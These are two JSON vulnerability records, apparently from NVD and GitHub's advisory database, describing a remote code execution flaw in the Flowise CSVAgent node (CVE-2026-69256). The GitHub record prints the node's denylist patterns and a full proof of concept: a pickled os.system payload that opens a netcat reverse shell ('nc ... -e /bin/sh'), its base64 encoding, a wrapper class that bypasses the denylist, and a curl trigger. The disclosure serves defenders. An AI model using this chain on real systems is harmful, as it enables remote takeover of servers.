{
  "affected": [
    {
      "affectedData": [
        {
          "product": "Flowise",
          "vendor": "FlowiseAI",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "8C8B3FC2-6070-4400-9690-FCBE0C5C1D37",
              "versionEndExcluding": "3.1.3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/\u003cUUID\u003e to execute commands. This issue is fixed in version 3.1.3."
    }
  ],
  "id": "CVE-2026-69256",
  "lastModified": "2026-09-14T19:53:48.650",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.4,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-69256",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-05T13:40:25.220119Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-04T17:17:00.707",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/pull/6257"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Release Notes"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T15:46:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe CSVAgent node was observed to allow users to write Python code which gets executed via `pyodide`. The original intent was to allow users to utilise the `pandas` library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, `pandas` has a `read_pickle()` [function](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html) that deserialises a pickled payload and this can be leveraged to achieve code execution.\n\n### Details\n\nThe affected file is the `CSVAgent` node, found in: `flowise-components/nodes/agents/CSVAgent/CSVAgent.ts`.\n\n```js\ntry {\n    const code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc} \u003c1\u003e\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\n    dataframeColDict = await pyodide.runPythonAsync(code)\n} catch (error) {\n    throw new Error(error)\n}\n```\n\nAt \u003c1\u003e, the `customReadCSVFunc` is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:\n\n```py\nconst FORBIDDEN_PATTERNS: Array\u003c{ pattern: RegExp; reason: string }\u003e = [\n    // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)\n    { pattern: /\\bfrom\\s+\\S+\\s+import\\b/g, reason: \u0027import statement (from...import)\u0027 },\n    { pattern: /\\bimport\\b/g, reason: \u0027import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)\u0027 },\n    // Dangerous builtins\n    { pattern: /\\beval\\s*\\(/g, reason: \u0027eval()\u0027 },\n    { pattern: /\\bexec\\s*\\(/g, reason: \u0027exec()\u0027 },\n    { pattern: /\\bcompile\\s*\\(/g, reason: \u0027compile()\u0027 },\n    { pattern: /\\b__import__\\s*\\(/g, reason: \u0027__import__()\u0027 },\n    { pattern: /\\bopen\\s*\\(/g, reason: \u0027open()\u0027 },\n    { pattern: /\\bbreakpoint\\s*\\(/g, reason: \u0027breakpoint()\u0027 },\n    { pattern: /\\binput\\s*\\(/g, reason: \u0027input()\u0027 },\n    { pattern: /\\braw_input\\s*\\(/g, reason: \u0027raw_input()\u0027 },\n    { pattern: /\\bglobals\\s*\\(/g, reason: \u0027globals()\u0027 },\n    { pattern: /\\blocals\\s*\\(/g, reason: \u0027locals()\u0027 },\n    { pattern: /\\bgetattr\\s*\\(/g, reason: \u0027getattr()\u0027 },\n    { pattern: /\\bsetattr\\s*\\(/g, reason: \u0027setattr()\u0027 },\n    { pattern: /\\bdelattr\\s*\\(/g, reason: \u0027delattr()\u0027 },\n    { pattern: /\\breload\\s*\\(/g, reason: \u0027reload()\u0027 },\n    { pattern: /\\bfile\\s*\\(/g, reason: \u0027file()\u0027 },\n    { pattern: /\\bexecfile\\s*\\(/g, reason: \u0027execfile()\u0027 },\n    // Dangerous modules / attributes\n    { pattern: /\\bos\\./g, reason: \u0027os module\u0027 },\n    { pattern: /\\bsubprocess\\./g, reason: \u0027subprocess module\u0027 },\n    { pattern: /\\bsys\\./g, reason: \u0027sys module\u0027 },\n    { pattern: /\\bsocket\\./g, reason: \u0027socket module\u0027 },\n    { pattern: /\\burllib\\./g, reason: \u0027urllib module\u0027 },\n    { pattern: /\\brequests\\./g, reason: \u0027requests module\u0027 },\n    { pattern: /\\b__builtins__\\b/g, reason: \u0027__builtins__\u0027 },\n    { pattern: /\\b__loader__\\b/g, reason: \u0027__loader__\u0027 },\n    { pattern: /\\b__spec__\\b/g, reason: \u0027__spec__\u0027 },\n    { pattern: /\\b__class__\\b/g, reason: \u0027__class__ (reflection)\u0027 },\n    { pattern: /\\b__subclasses__\\s*\\(/g, reason: \u0027__subclasses__()\u0027 },\n    { pattern: /\\b__bases__\\b/g, reason: \u0027__bases__\u0027 },\n    { pattern: /\\b__mro__\\b/g, reason: \u0027__mro__\u0027 },\n    { pattern: /\\b__globals__\\b/g, reason: \u0027__globals__\u0027 },\n    { pattern: /\\b__code__\\b/g, reason: \u0027__code__\u0027 },\n    { pattern: /\\b__closure__\\b/g, reason: \u0027__closure__\u0027 },\n    { pattern: /\\bvars\\s*\\(/g, reason: \u0027vars()\u0027 },\n    { pattern: /\\bdir\\s*\\(/g, reason: \u0027dir()\u0027 },\n    { pattern: /\\b__dict__\\b/g, reason: \u0027__dict__ (attribute reflection)\u0027 },\n    { pattern: /\\b__module__\\b/g, reason: \u0027__module__ (module reflection)\u0027 }\n]\n```\n\nHowever, by using `pandas.read_pickle()`, an attacker can achieve code execution without hitting any of the denied words.\n\n### PoC\n\nFirst, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):\n\n```py\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\"/usr/bin/nc 172.17.0.1 13337 -e /bin/sh\",))\n\npayload = pickle.dumps(Exploit())\nencoded = base64.b64encode(payload).decode()\nprint(encoded)\n```\n\nRun it and note the encoded payload to be used later:\n\n```bash\n$ python3 pickle-payload-poc.py\n\ngASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\n```\n\n1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.\n2. Drag a \"CSV Agent\" node onto the canvas.\n3. Click on \"Additional Parameters\" and fill in the following PoC:\n\n```py\nisnull(\"\")\nclass MiniBytesIO:\n    def __init__(self, b):\n        self.data = b\n        self.pos = 0\n    def read(self, n=-1):\n        if n == -1:\n            n = len(self.data) - self.pos\n        chunk = self.data[self.pos:self.pos+n]\n        self.pos += n\n        return chunk\n    def readline(self, n=-1):\n        if self.pos \u003e= len(self.data):\n            return b\"\"\n        next_nl = self.data.find(b\"\\\\n\", self.pos)\n        if next_nl == -1:\n            next_nl = len(self.data)\n        if n != -1:\n            next_nl = min(self.pos + n, next_nl)\n        line = self.data[self.pos:next_nl+1]\n        self.pos = next_nl + 1\n        return line\npd.read_pickle(MiniBytesIO(base64.b64decode(\"gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\")))\n```\n\nThe custom `MiniBytesIO` class  needs to be included in order to deserialise the pickled payload, since `read_pickle()` expects a \"str, path object, or file-like object\". This is because we cannot use `import` to import `BytesIO`, nor `open()` to write to disk and read, and entering a URL does not work due to `pyodide` not having raw socket capabilities.\n\nSave the chatflow, and obtain the UUID of this chatflow from the URL `/canvas/\u003cUUID\u003e`.\n\nOpen a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:\n\n```\n$ curl -X POST http://\u003cTARGET\u003e/api/v1/prediction/\u003cUUID\u003e\n```",
  "id": "GHSA-x6vm-w76m-8j7g",
  "modified": "2026-08-04T17:47:31Z",
  "published": "2026-08-04T15:46:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6257"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Remote Code Execution Vulnerability in CSVAgent"
}